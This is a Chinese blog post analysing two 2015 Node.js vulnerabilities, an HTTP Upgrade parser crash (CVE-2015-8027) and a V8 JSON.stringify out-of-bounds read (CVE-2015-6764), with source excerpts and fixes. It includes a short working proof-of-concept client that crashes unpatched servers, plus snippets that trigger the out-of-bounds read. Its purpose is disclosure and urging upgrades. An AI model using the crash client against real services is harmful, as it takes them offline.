原作者:凌恒
前言
Node.js 在 4 号放出了一个重要的更新,看了下更新日志,主要修复的是一些安全性的漏洞,包括 CVE-2015-8027 和 CVE-2015-6764 这两个漏洞。在更新发布后,简单看了下漏洞的细节,在这里简单介绍下。
CVE-2015-8027 Denial of Service Vulnerability
这个漏洞看起来应该是 Node.js 开发者书写时的疏忽,在调用 parser.pause
方法时,没有判断 parser
是否存在,导致在特定情况运行时底层抛出 TypeError
错误,使进程崩溃。
主要涉及到下面的几个关键字:
- highWaterMark
- http method: UPGRADE
- response 处理
highWaterMark
它是一个在创建流时可以修改大小的参数,作用跟字面意思差不多,高水位线。在 Readable Stream 中,用来控制底层读取前缓冲区资源的最多字节数;在 Writable Steam 中,用来控制写入时待处理缓冲区中最多存放的字节数。超过这个值时,会将 Steam 置为 pause 状态,这个操作便是触发这个漏洞的关键。看下代码,在 _http_server.js#454 parserOnIncoming 方法中:
function parserOnIncoming(req, shouldKeepAlive) {
...
if (!socket._paused) {
var needPause = socket._writableState.needDrain ||
outgoingData >= socket._writableState.highWaterMark;
if (needPause) {
socket._paused = true;
socket.pause();
}
}
...
}
值得一提的是,这个值的调整,对 I/O 操作有一定的优化能力。它默认的值是 16KB,对于对象流则为 16。如果这个值设置的过小,会导致系统调用过于频繁;如果设置过大,那么会导致资源分配的浪费,所以修改需要谨慎。
UPGRADE
这是一个 HTTP/1.1 标准中提出的一种头部方法。当客户端发送 UPGRADE,并指定其他的通讯协议,如果服务器支持,则必须返回 101,并且将通讯协议进行转换。那么为什么它会用来触发这漏洞呢?
因为在 http server 升级协议时,会把当前用到的 parser 释放掉,导致 socket.parser 就变成了 null,自然在后面调用时就会出错。具体代码位置在 _http_server.js#371 onParserExecuteCommon 方法中:
function onParserExecuteCommon(ret, d) {
if (ret instanceof Error) {
debug('parse error');
socket.destroy(ret);
} else if (parser.incoming && parser.incoming.upgrade) {
...
parser.finish();
freeParser(parser, req, null);
parser = null;
...
}
if (socket._paused && socket.parser) {
debug('pause parser');
socket.parser.pause();
}
}
所以,它就成了触发条件。
你可能会想,我的应用中没有用到 UPGRADE 方法,应该不会有影响吧?这其实跟你的应用中是否用了 UPGRADE 没有什么关系,这是在底层处理收到请求的过程中发生的错误,还没有到应用代码执行的层面,所以不是应用可控的。即使你监听了 upgrade
事件,它也是异步的,而且你也只是处理是否接受 UPGRADE 以及后续处理(比如:切断连接)的问题,一样会触发报错。
Response 处理
Node.js 在处理 Http 请求的响应时,使用了一个 outgoing
数组。在请求进来时,会创建一个 ServerResponse
对象,并将它 push
到 outgoing
数组中。当响应内容过多时,会发生排队的情况,当数据量超过 highWaterMark
时,就会导致 socket 的 pause。这里面涉及到的更多的内容,以后再细说。这部分相关代码,在 _http_server.js#454 parserOnIncoming:
function parserOnIncoming(req, shouldKeepAlive) {
...
var res = new ServerResponse(req);
res._onPendingData = updateOutgoingData;
...
if (socket._httpMessage) {
outgoing.push(res);
} else {
res.assignSocket(socket);
}
...
}
实战
根据上面的介绍,可以看到,这个漏洞的触发过程大致如下:
- 向服务端快速的发送大量请求,使服务端对应 socket 触发 pause 状态。
- 发送 UPGRADE 请求,触发服务端进入 upgrade 处理。
我们先来写一个 server,当有请求来的时候,会写一个大小 1024 的 Buffer,这个大小随你控制,用 1024 比较好计算。
'use strict';
const http = require('http');
const PORT = 8989;
const chunk = new Buffer(1024);
chunk.fill('X');
var server = http.createServer(function(req, res) {
res.end(chunk);
}).listen(PORT);
接下来写一个 client,用来发送请求,这里我们使用 net 模块来连接服务器并传输数据。在 client 里,要快速的发送请求,因为默认的 highWaterMark 大小是 16KB,所以我们发送 17 次请求,这样刚好超过它,触发 socket 的 pause 状态。然后发送一个 UPGRADE 请求,这样就会触发漏洞,导致服务器崩溃,具体代码如下:
'use strict';
const net = require('net');
var socket = net.connect(8989);
for (var i = 0; i < 17; i ++) {
socket.write('GET / HTTP/1.1\r\n\r\n');
}
socket.write(
'GET / HTTP/1.1\r\nConnection: upgrade\r\nUpgrade: ws\r\n\r\n'
);
一般 Node.js 应用会返回页面,这个也要写入 Buffer 的,所以也会出现写入超量的问题。用上面的代码测试了几个未升级的应用,会导致应用进程退出,但线上应用一般会有进程守护,所以在量小的情况下,影响还可控。如果量很大,即使应用不会退出,但 worker 进程一直重启,应用的状态也不会良好。
另外,也可以在 Nginx 层面对连入请求进行过滤,是可以保护后面的 Node.js 应用的。
注意:请勿乱用
CVE-2015-6764 V8 Out-of-bounds Access Vulnerability
这是 V8 的一个 bug,跟 Node.js 的实现并没有关系,它涉及到的方法是 JSON.stringify
。在这个方法的实现中,会用到被转换对象的 getter 和 toJSON 两个方法,如果我们重载了对象的这两个方法,那么就会影响到转换的结果。对于数组来说,如果在其中改变了数组的长度,那么最后结果会发生什么呢?先来看个例子:
var array = [];
for (var i = 0; i < 10; i++) array[i] = i;
var obj = {
toJSON: function() {
array.length = 1;
return 'obj';
}
};
array[0] = obj;
JSON.stringify(array);
这段代码在这个漏洞没有修复之前,运行结果类似这种:
'["obj",null,128,3,4,5,6,7,8,9]'
显然,这个结果是错误的,因为 array 的长度变成了 1,后面的内容就不应该出现了。
在这个 bug 修复后的执行结果是这样的:
'["obj",null,null,null,null,null,null,null,null,null]'
同样的,重载 getter 方法:
var array = [];
for (var i = 0; i < 10; i++) array[i] = i;
var obj = {
get value() {
array.length = 1;
return "obj";
}
};
array[0] = obj;
JSON.stringify(array);
//修复前
'[{"value":"obj"},null,128,3,4,5,6,7,8,9]'
//修复后
'[{"value":"obj"},null,null,null,null,null,null,null,null,null]'
更多测试用例,请看 regress-crbug-554946.js。
在 V8 这个方法的之前的实现中,只是简单的遍历元素,然后根据对应的类型,进行相应的转换,形成结果。
[ [76a552]json-stringifier.h#L429 ](https://github.com/nodejs/node/blob/76a552c938e43eebbd0795e974f71250529f8cf5/deps/v8/src/json-stringifier.h#L429)
BasicJsonStringifier::Result BasicJsonStringifier::SerializeJSArray(
Handle<JSArray> object) {
...
uint32_t length = 0;
CHECK(object->length()->ToArrayLength(&length));
builder_.AppendCharacter('[');
Result result = SerializeJSArraySlow(object, length);
...
}
修正之后,多了对数组类型的判断,根据不同的类型,采取不同的转换方法:
[[master]json-stringifier.h#430](https://github.com/nodejs/node/blob/master/deps/v8/src/json-stringifier.h#L430)
BasicJsonStringifier::Result BasicJsonStringifier::SerializeJSArray(
Handle<JSArray> object) {
...
switch(object->GetElementsKind()) {
case FAST_SMI_ELEMENTS: {
...
}
case FAST_DOUBLE_ELEMENTS: {
...
}
case FAST_ELEMENTS: {
Handle<Object> old_length(object->length(), isolate_);
for (uint32_t i = 0; i < length; i++) {
if (object->length() != *old_length ||
object->GetElementsKind() != FAST_ELEMENTS) {
Result result = SerializeJSArraySlow(object, i, length);
if (result != SUCCESS) return result;
break;
}
if (i > 0) builder_.AppendCharacter(',');
Result result = SerializeElement(
isolate_,
Handle<Object>(FixedArray::cast(object->elements())->get(i),
isolate_),
i);
if (result == SUCCESS) continue;
if (result == UNCHANGED) {
builder_.AppendCString("null");
} else {
return result;
}
}
break;
}
default: {
...
Result result = SerializeJSArraySlow(object, 0, length);
...
}
}
主要是在 FAST_ELEMENTS
这个类型上,它会在遍历是动态的计算数组的长度,如果数组长度发生变化,会根据新的长度,直接运行 SerializeJSArraySlow
方法得到最终结果,否则会一个一个元素的处理。
同时,SerializeJSArraySlow
方法也做了修改,增加了一个参数 start
用来标识遍历的起始值,不会每次都从 0 的位置开始遍历。
总体看来,这个 bug 的触发条件还是挺复杂的,一般很少会遇到。
总结
- 细节对于代码质量,应用稳定性来说,很重要。特别是提供给别人用的库,一定要考虑全面。
- 很多异常的触发是很巧妙的,这是一个比较困扰的问题,测试贡献的能力也有限,不过也不能忽略测试,还是很重要的。
- 请及时更新到修复后的版本,v5.1.1、v4.2.3、v0.12.9、alinode-v1.2.1、alinode-v1.2.2。